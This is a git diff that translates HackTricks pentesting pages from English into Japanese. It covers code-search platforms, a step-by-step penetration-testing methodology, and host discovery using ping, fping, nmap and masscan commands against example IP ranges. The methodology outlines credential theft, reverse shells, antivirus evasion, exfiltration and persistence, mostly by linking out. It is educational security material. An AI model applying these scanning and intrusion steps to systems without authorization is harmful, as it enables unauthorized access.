[**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 2354ac692..a18decd86 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,29 +1,29 @@ -# Wide Source Code Search +# 広範なソースコード検索
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +このページの目的は、1つまたは複数のプラットフォームで数千/数百万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる**プラットフォームを列挙すること**です。 -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +これは、**漏洩情報**や**脆弱性**のパターンを検索する際に役立ちます。 -* [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -* [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - * Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Search across Gitlab projects. Support regexes. -* [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリで検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。 +* [**Github Search**](https://github.com/search): Github全体で検索します。正規表現をサポートしています。 +* [**Github Code Search**](https://cs.github.com/)もチェックすると便利かもしれません。 +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体で検索します。正規表現をサポートしています。 +* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトでコードを検索します。 {% hint style="warning" %} -When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +リポジトリで漏洩を探す際に`git log -p`などを実行すると、秘密情報を含む**他のブランチに他のコミットがある可能性**があることを忘れないでください! {% endhint %}
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index a8b5b7207..5910b67a7 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,178 +1,166 @@ --- description: >- - This is the main page. Here you can find the typical workflow for the - pentesting of a machine +これはメインページです。ここではマシンのペンテストの典型的なワークフローを見つけることができます --- -# Pentesting Methodology +# ペンテストの方法論
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有して、PRを提出してください** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigritiに登録**してください。これはハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、**最大$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Pentesting Methodology +## ペンテストの方法論
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によってデザインされました。_ -### 0- Physical Attacks +### 0- 物理攻撃 -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](../physical-attacks/escaping-from-gui-applications/). +攻撃したいマシンに**物理的なアクセス**がありますか?[**物理攻撃に関するトリック**](../physical-attacks/physical-attacks.md)や[**GUIアプリケーションからの脱出**](../physical-attacks/escaping-from-gui-applications/)について読んでみるべきです。 -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [会社の資産の発見](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**テストが内部テストか外部テストかによって**、**会社のネットワーク内のホスト**(内部テスト)または**インターネット上の会社の資産**(外部テスト)を見つけることに興味があるかもしれません。 {% hint style="info" %} -Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得した場合は、このガイドを再起動する必要があります。 {% endhint %} -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**このセクションは、内部テストを実行している場合にのみ適用されます。**\ +ホストを攻撃する前に、ネットワークからいくつかの資格情報を**盗む**か、ネットワーク内部で**データをスニフィング**してネットワーク内部で何が見つかるかを**受動的に/能動的に(MitM)**学ぶために、[**Pentesting Network**](pentesting-network/#sniffing)を読むことができます。 -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +ホストの**脆弱性を探す**ときに最初に行うことは、どのポートでどのサービスが実行されているかを知ることです。[**ホストのポートをスキャンするための基本的なツール**](pentesting-network/#scanning-hosts)を見てみましょう。 -### **4-** [Searching service version exploits](search-exploits.md) +### **4-** [サービスバージョンの脆弱性の検索](search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります**。運が良ければ、シェルを提供するエクスプロイトがあるかもしれません... -### **5-** Pentesting Services +### **5-** サービスのペンテスト -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的なミス構成を探す必要があります**。 -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**この本の中で、最も一般的なサービスのペンテストガイド**(他の一般的でないサービスも含む)**を見つけることができます**。左のインデックスで**PENTESTING**セクション**を検索してください**(サービスはデフォルトのポートで順序付けられています)。 -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here. +**[Pentesting Web](../network-services-pentesting/pentesting-web/)パート(最も詳細なパート)**に特別な言及をしたいと思います。\ +また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)についての小さなガイドもここにあります。 -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**インデックスにサービスが含まれていない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください**。Googleで**何も見つからない**場合は、**自分自身のブラインドペンテスト**を実行してみてください。サービスに接続し、フジングして応答を読む(あれば)ことから始めることができます。 -#### 5.1 Automatic Tools +#### 5.1 自動ツール -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +また、**自動的な脆弱性評価**を実行できるいくつかのツールもあります。この本で見つけることができるペンテストサービスに関するノートに基づいて作成されたツールである[**Legion**](https://github.com/carlospolop/legion)**をおすすめします。** +#### **5.2 サービスのブルートフォース** -#### **5.2 Brute-Forcing services** - -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** +特定のシナリオでは、**ブルートフォース**を使用して**サービス**を**侵害**することが有効な場合があります。[**ここでさまざまなサービスのブルートフォースのチートシートを見つけることができます**](brute-force.md)**。** \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ +**バグバウンティのヒント**: ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームIntigriti**に**サインアップ**してください![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!\\ {% embed url="https://go.intigriti.com/hacktricks" %} -### 6- [Phishing](phishing-methodology/) +### 6- [フィッシング](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +この時点で興味深い脆弱性を見つけられなかった場合、ネットワークに侵入するためにいくつかのフィッシングを試す必要があるかもしれません。[ここで私のフィッシングの方法論を読むことができます](phishing-methodology/): -### **7-** [**Getting Shell**](shells/) +### **7-** [**シェルの取得**](shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/). +何らかの方法で被害者の中でコードを実行する方法を見つける必要があります。[システム内のリバースシェルを取得するために使用できるツールのリストが非常に役立ちます](shells/)。 -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +特にWindowsでは、[アンチウイルスを回避するための助けが必要になる場合があります](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- 内部 -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +シェルに問題がある場合、ペンテスターにとって非常に役立つ**最も有用なコマンドのコンパイル**がここにあります: * [**Linux**](../linux-hardening/useful-linux-commands/) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](exfiltration.md) +### **9 -** [**データの持ち出し**](exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** +おそらく、被害者からデータを抽出する必要があるか、特権エスカレーションスクリプトなどを**挿入する必要がある**でしょう。[ここでこれらの目的で使用できる一般的なツールについての記事があります](exfiltration.md)**.** -### **10- Privilege Escalation** +### **10- 特権エスカレーション** -#### **10.1- Local Privesc** +#### **10.1- ローカル特権エスカレーション** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +ボックス内で**root/Administratorではない**場合、特権をエスカレートする方法を見つける必要があります。\ +[ここで**Linux**でローカル特権エスカレーションのガイドを見つけることができます](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +また、**Windowsの動作**についても次のページをチェックする必要があります: -* [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) -* How does [**NTLM works**](../windows-hardening/ntlm/) -* How to [**steal credentials**](broken-reference/) in Windows -* Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +* [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) +* [**NTLMの動作**](../windows-hardening/ntlm/) +* Windowsでの[**資格情報の盗み出し**](broken-reference/) +* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsとLinuxのローカル特権エスカレーションパスを列挙するための最高のツールを見逃さないでください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- ドメイン特権エスカレーション** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +ここでは、[**Active Directoryの列挙、特権エスカレーション、永続化に関する最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)を見つけることができます。これはセクションの一部に過ぎませんが、ペンテスト/レッドチームの割り当てでは、このプロセスは**非常にデリケート**なものになる可能性があります。 ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - 略奪 -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](broken-reference/). +ホスト内でさらに**パスワード**を見つけることができるか、**ユーザー**の**特権**を持つ他のマシンに**アクセス**できるかを確認してください。\ +[**Windowsでパスワードをダンプするさまざまな方法がここにあります**](broken-reference/)。 -#### 11.2 - Persistence +#### 11.2 - 永続化 -**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**システムを再度攻撃する必要がないように、2つまたは3つの異なるタイプの永続化メカニズムを使用してください。**\ +[**ここでActive Directoryの永続化トリックを見つけることができます**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Complete persistence Post in Windows & Linux +TODO: WindowsとLinuxの永続化ポストを完成させる -### 12 - Pivoting +### 12 - ピボット -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +**収集した資格情報**を使用して、他のマシンにアクセスできる場合があります。または、被害者が接続されている新しいネットワーク内で新しいホストを**検出してスキャンする必要がある**かもしれません(ペンテスト方法論を再度開始します)。\ +その場合、トンネリングが必要になる場合があります。[**トンネリングについての記事がここにあります**](tunneling-and-port-forwarding.md)。\ +また、[Active Directoryのペンテスト方法論についての記事](../windows-hardening/active-directory-methodology/)もチェックする必要があります。そこでは、横断移動、特権エスカレーション、資格情報のダンプに関するクールなトリックが見つかります。\ +Windows環境でのピボットに非常に役立つかもしれない[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。 ### MORE -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/) #### **Exploiting** -* [**Basic Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/) -* [**Basic Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Basic exploiting tools**](../exploiting/tools/) +* [**基本的なLinuxのExploiting**](../exploiting/linux-exploiting-basic-esp/) +* [**基本的なWindowsのExploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [**基本的なExploitingツール**](../exploiting/tools/) -#### [**Basic Python**](python/) +#### [**基本的なPython**](python/) -#### **Crypto tricks** +#### **Cryptoのトリック** * [**ECB**](../cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) -* [**Padding Oracle**](../cryptography/padding-oracle-priv.md) +* [**パディングオラクル**](../cryptography/padding-oracle-priv.md) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +**バグバウンティのヒント**: ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームIntigriti**に**サインアップ**してください![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょ +* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)をフォローしてください。 +* 自分のハッキングのテクニックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index 9edaa1d93..f9e5a4a54 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -1,94 +1,83 @@ -# Pentesting Network +# ネットワークのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## 外部からホストを発見する -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +これは、**インターネット**から**応答しているIPアドレス**を見つける方法についての**簡単なセクション**です。\ +この状況では、いくつかの**IPの範囲**(おそらく複数の**範囲**)があり、**どのIPが応答しているか**を見つけるだけです。 ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +これは、ホストが起動しているかどうかを確認する**最も簡単で最も高速な方法**です。\ +いくつかの**ICMP**パケットを送信して**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。単純な`ping`コマンドを使用するか、**範囲**を使用するために`fping`コマンドを使用することができます。\ +また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-応答のフィルタリングが回避されます)。 ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### TCPポートの探索 -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +あらゆる種類のICMPパケットがフィルタリングされていることは非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つける**ことです。各ホストには**65535のポート**がありますので、もし「大きな」スコープを持っている場合、各ホストの**すべてのポート**がオープンしているかどうかをテストすることはできません。それには時間がかかりすぎます。\ +そのため、必要なのは**高速なポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と、**よりよく使用されるポートのリスト**です。 ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +この手順は `nmap` を使用しても実行できますが、それは遅く、ホストを正確に識別する際に問題があります。 -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### HTTPポートの検出 +これは、HTTPサービスの検出に焦点を当てたTCPポートの検出です。 ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### UDPポートの探索 -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +ホストに**特に注意を払うべきかどうか**を判断するために、**UDPポートが開いているかどうか**をチェックすることもできます。通常、UDPサービスは通常の空のUDPプローブパケットに対して**データを返さない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することですが、実行中のサービスがわからないため、ポート番号に基づいて最も可能性の高いものを試す必要があります。 ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` 